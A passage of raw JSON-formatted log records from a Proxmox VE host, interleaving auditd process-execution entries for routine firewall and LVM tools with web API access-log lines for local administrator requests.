type=EXECVE msg=audit(1781964405.680:60889): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965216407,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:16 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964449405,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964449.405:61068): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58631 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965125699,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.699:64286): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc5930bb30 a1=5c5800ab6410 a2=5c5800a94680 a3=5 items=1 ppid=61765 pid=61766 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015582,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.582:68092): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965765282,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.282:66998): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64346 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025639,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.639:68115): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65410 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405675,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.675:60888): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965216407,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:15 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 918"} {"@timestamp":1781964445244,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.244:61064): arch=c000003e syscall=59 success=no exit=-2 a0=7ffef7c28520 a1=5bfd6eef7410 a2=5bfd6eed5680 a3=5 items=1 ppid=58623 pid=58624 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965125540,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965125.540:64268): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc380eed40 a1=643a308c73d0 a2=643a308a5680 a3=5 items=1 ppid=61746 pid=61747 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015579,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.579:68091): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965765274,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.274:66997): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64345 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025632,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.632:68114): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65409 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405670,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.670:60887): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965216407,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781964445155,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964445.155:61046): arch=c000003e syscall=59 success=no exit=-2 a0=7fffffdf8c80 a1=5b714a59c3d0 a2=5b714a57a680 a3=5 items=1 ppid=58604 pid=58605 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965121863,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965121.863:64258): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61736 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015578,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.578:68090): argc=1 a0=\"date\""} {"@timestamp":1781965765267,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.267:66996): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb693d3c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64344 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025624,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.624:68113): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65408 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405665,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.665:60886): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965215307,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:14 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 890"} {"@timestamp":1781964444393,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964444.393:61038): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58598 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965121863,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965121.863:64257): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61736 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015572,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.572:68088): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965765257,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.257:66995): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc147870 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64343 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025619,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.619:68112): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0bd570 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65407 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405660,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.660:60885): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965215307,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:14 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1117"} {"@timestamp":1781964444393,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964444.393:61037): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58598 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965121855,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965121.855:64255): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61735 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015564,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.564:68087): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965765246,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965765.246:66994): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1386f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64342 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025611,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.611:68111): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb60d76f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65406 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405655,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.655:60884): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965215307,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 498"} {"@timestamp":1781964444385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964444.385:61035): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58597 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965121855,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965121.855:64254): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61735 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015556,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.556:68086): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965764834,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965764.834:66993): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ab0c0 a1=64f8d740c680 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64339 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025602,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.602:68110): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc146c00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65405 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405648,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.648:60883): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965214328,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:13 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 925"} {"@timestamp":1781964444385,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964444.385:61034): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58597 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965116842,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965116.842:64249): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61729 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015545,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.545:68085): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965764809,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965764.809:66992): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740f490 a1=64f8d73cac10 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64338 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025136,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.136:68109): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65404 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405642,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.642:60882): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965214328,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:13 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 501"} {"@timestamp":1781964439376,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964439.376:61030): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58592 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965116842,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965116.842:64248): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61729 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015536,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.536:68084): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965764212,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965764.212:66991): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64337 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025129,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966025.129:68106): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65403 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405639,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.639:60881): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965213283,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:12 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964439376,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964439.376:61029): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58592 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965116832,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965116.832:64246): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61728 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015528,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.528:68082): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965764207,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965764.207:66988): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64336 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966024676,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966024.676:68103): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e1ee0 a1=64f8d73ced30 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65402 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405636,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.636:60880): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965213283,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:12 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 922"} {"@timestamp":1781964439361,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964439.361:61027): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58591 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965116832,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965116.832:64245): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61728 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015522,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.522:68081): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965759194,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965759.194:66985): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64335 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966024645,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966024.645:68102): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dcd30 a1=64f8d6f88c80 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65401 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405635,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.635:60879): argc=1 a0=\"date\""} {"@timestamp":1781965213283,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:12 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1117"} {"@timestamp":1781964439361,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964439.361:61026): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58591 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965115441,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.441:64241): arch=c000003e syscall=59 success=no exit=-2 a0=7fff48f04e40 a1=5a1485fd9310 a2=5a1485fd2680 a3=5 items=1 ppid=61721 pid=61722 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015514,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.514:68080): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965759187,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965759.187:66982): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64334 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966021043,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966021.043:68101): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7254460 a1=637ee7253340 a2=637ee7240ef0 a3=8 items=2 ppid=65394 pid=65396 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781964405631,"@rawstring":"node=pve type=EXECVE msg=audit(1781964405.631:60877): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965212271,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1117"} {"@timestamp":1781964436106,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964436.106:61022): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd813d3c50 a1=567ef5c7f390 a2=567ef5c5d680 a3=5 items=1 ppid=58584 pid=58585 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965115335,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965115.335:64223): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe7d8dc650 a1=5c2ef11483d0 a2=5c2ef1126680 a3=5 items=1 ppid=61702 pid=61703 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966015509,"@rawstring":"node=pve type=EXECVE msg=audit(1781966015.509:68079): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965755234,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965755.234:66979): arch=c000003e syscall=59 success=yes exit=0 a0=5e23c805ab20 a1=5e23c8066a30 a2=5e23c8034680 a3=5 items=2 ppid=64327 pid=64333 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966021043,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966021.043:68100): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253c90 a1=637ee7254860 